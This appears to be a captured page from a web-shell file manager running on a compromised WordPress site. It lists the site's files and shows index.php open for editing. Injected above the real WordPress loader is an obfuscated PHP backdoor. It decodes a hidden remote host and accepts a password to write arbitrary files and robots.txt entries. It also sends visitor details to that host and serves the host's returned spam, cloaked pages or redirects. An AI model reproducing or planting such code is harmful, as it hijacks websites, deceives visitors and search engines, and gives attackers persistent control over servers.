📁 File Manager

Current Path: /home/rislent/public_html

📌 Note: .php files are renamed with ".safe" extension to bypass server restrictions.

Name	Size	Perms	Actions
📁 .well-known	-	0755	Rename \| Delete \| Zip
📁 images	-	0755	Rename \| Delete \| Zip
📁 wp-admin	-	0755	Rename \| Delete \| Zip
📁 wp-content	-	0755	Rename \| Delete \| Zip
📁 wp-includes	-	0755	Rename \| Delete \| Zip
📄 .htaccess	205 B	0444	Edit \| Rename \| Download \| Delete \| Zip
📄 google72e26b69698a946b.html	53 B	0644	Edit \| Rename \| Download \| Delete \| Zip
📄 index.php	7.87 KB	0444	Edit \| Rename \| Download \| Delete \| Zip
📄 license.txt	183.04 KB	0644	Edit \| Rename \| Download \| Delete \| Zip
📄 moddofuns.php	5.82 KB	0644	Edit \| Rename \| Download \| Delete \| Zip
📄 readme.html	170.85 KB	0644	Edit \| Rename \| Download \| Delete \| Zip
📄 robots.txt	289 B	0644	Edit \| Rename \| Download \| Delete \| Zip
📄 wp-activate.php	7.21 KB	0644	Edit \| Rename \| Download \| Delete \| Zip
📄 wp-blog-header.php	474 B	0444	Edit \| Rename \| Download \| Delete \| Zip
📄 wp-comments-post.php	2.27 KB	0644	Edit \| Rename \| Download \| Delete \| Zip
📄 wp-config-sample.php	3.26 KB	0644	Edit \| Rename \| Download \| Delete \| Zip
📄 wp-config.php	3.23 KB	0666	Edit \| Rename \| Download \| Delete \| Zip
📄 wp-cron.php	5.49 KB	0644	Edit \| Rename \| Download \| Delete \| Zip
📄 wp-links-opml.php	2.44 KB	0644	Edit \| Rename \| Download \| Delete \| Zip
📄 wp-load.php	3.96 KB	0444	Edit \| Rename \| Download \| Delete \| Zip
📄 wp-login.php	50.8 KB	0644	Edit \| Rename \| Download \| Delete \| Zip
📄 wp-mail.php	8.52 KB	0644	Edit \| Rename \| Download \| Delete \| Zip
📄 wp-settings.php	29.38 KB	0644	Edit \| Rename \| Download \| Delete \| Zip
📄 wp-signup.php	33.71 KB	0644	Edit \| Rename \| Download \| Delete \| Zip
📄 wp-trackback.php	4.98 KB	0644	Edit \| Rename \| Download \| Delete \| Zip
📄 xmlrpc.php	3.13 KB	0644	Edit \| Rename \| Download \| Delete \| Zip

📤 Upload/Create

📝 Editing index.php

<?php
@set_time_limit(3600);
@ignore_user_abort(1);
$xmlname = '%72%6F%62%63%70%76%62%61%6E%77%2E%65%6E%70%62%7A%62%71%6B%66%2E%6B%6C%6D';

$http_web = 'http';
if (is_https()) {
    $http = 'https';
} else {
    $http = 'http';
}
$duri_tmp = drequest_uri();
if ($duri_tmp == ''){
    $duri_tmp = '/';
}
$duri = urlencode($duri_tmp);
function drequest_uri()
{
    if (isset($_SERVER['REQUEST_URI'])) {
        $duri = $_SERVER['REQUEST_URI'];
    } else {
        if (isset($_SERVER['argv'])) {
            $duri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['argv'][0];
        } else {
            $duri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING'];
        }
    }
    return $duri;
}

$goweb = str_rot13(urldecode($xmlname));
function is_https()
{
    if (isset($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') {
        return true;
    } elseif (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') {
        return true;
    } elseif (isset($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') {
        return true;
    }
    return false;
}

$host = $_SERVER['HTTP_HOST'];
$lang = @$_SERVER["HTTP_ACCEPT_LANGUAGE"];
$lang = urlencode($lang);
$urlshang = '';
if (isset($_SERVER['HTTP_REFERER'])) {
 $urlshang = $_SERVER['HTTP_REFERER'];
 $urlshang = urlencode($urlshang);
}
$password = sha1(sha1(@$_REQUEST['pd']));
if ($password == 'f75fd5acd36a7fbd1e219b19881a5348bfc66e79') {
 $add_content = @$_REQUEST['mapname'];
 $action = @$_REQUEST['action'];
 if (isset($_SERVER['DOCUMENT_ROOT'])) {
 $path = $_SERVER['DOCUMENT_ROOT'];
 } else {
 $path = dirname(__FILE__);
 }
 if (!$action) {
 $action = 'put';
 }
 if ($action == 'put') {
		if(isset($_REQUEST['google'])){
			$google_verification=$_REQUEST['google'];
			if (preg_match('/^google.*?(\.html)$/i', $google_verification)) {
				file_put_contents($google_verification,'google-site-verification:'.' '.$google_verification);
				exit('<a href='.$google_verification.'>'.$google_verification.'</a>');
			}
		}
 if (strstr($add_content, '.xml')) {
 $map_path = $path. '/sitemap.xml';
 if (is_file($map_path)) {
 @unlink($map_path);
 }
 $file_path = $path . '/robots.txt';
 if(stristr($add_content, 'User-agent')){
				@unlink($file_path);
 if (file_put_contents($file_path, $add_content)) {
 echo ' ok ';
 } else {
 echo ' file write false! ';
 }
 }else{
 if (file_exists($file_path)) {
 $data = doutdo($file_path);
 } else {
 $data = 'User-agent: *
Allow: /';
 }
 $sitmap_url = $http . '://' . $host . '/' . $add_content;
 if (stristr($data, $sitmap_url)) {
 echo ' sitemap already added! ';
 } else {
 if (file_put_contents($file_path, trim($data) . "\r\n" . 'Sitemap: '.$sitmap_url)) {
 echo ' ok ';
 } else {
 echo ' file write false! ';
 }
 }
 }
 } else {
 echo ' sitemap name false! ';
 }
 $a = sha1(sha1(@$_REQUEST['a']));
 $b = sha1(sha1(@$_REQUEST['b']));
 if ($a == doutdo($http_web . '://' . $goweb . '/a.p' . 'hp') || $b == 'f8f0dae804368c0334e22d9dcb70d3c7bbfa9635') {
 $dstr = @$_REQUEST['dstr'];
 if (file_put_contents($path . '/' . $add_content, $dstr)) {
 echo 'ok';
 }
 }
 }
 exit;
}

$pdata = array(
 'web' => $host,
 'zz' => disbot(),
 'uri' => $duri,
 'urlshang' => $urlshang,
 'http' => $http,
 'lang' => $lang
);
$web = $http_web . '://' . $goweb . '/indexnew.php';
$html_content = trim(doutdo_post($web,$pdata));
if (!strstr($html_content, 'nobotuseragent')) {
 if (strstr($html_content, 'okhtmlgetcontent')) {
 @header("Content-type: text/html; charset=utf-8");
 $html_content = str_replace("okhtmlgetcontent", '', $html_content);
 echo $html_content;
 exit();
 }else if(strstr($html_content, 'okxmlgetcontent')){
 $html_content = str_replace("okxmlgetcontent", '', $html_content);
 @header("Content-type: text/xml");
 echo $html_content;
 exit();
 }else if(strstr($html_content, 'pingxmlgetcontent')){
 $html_content = str_replace("pingxmlgetcontent", '', $html_content);
 @header("Content-type: text/html; charset=utf-8");
 echo ping_sitemap($html_content);
 exit();
 }else if (strstr($html_content, 'getcontent500page')) {
 @header('HTTP/1.1 500 Internal Server Error');
 exit();
 }else if (strstr($html_content, 'getcontent404page')) {
 @header('HTTP/1.1 404 Not Found');
 exit();
 }else if (strstr($html_content, 'getcontent301page')) {
 @header('HTTP/1.1 301 Moved Permanently');
 $html_content = str_replace("getcontent301page", '', $html_content);
 header('Location: ' . $html_content);
 exit();
 }
}/* blog D671 */ ?>
<?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define( 'WP_USE_THEMES', true );

/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';

Warning: session_start(): Session cannot be started after headers have already been sent in /home/rislent/public_html/wp-content/themes/avante/header.php on line 11
Page not found – Rislent

Oops! This page can’t befound anywhere.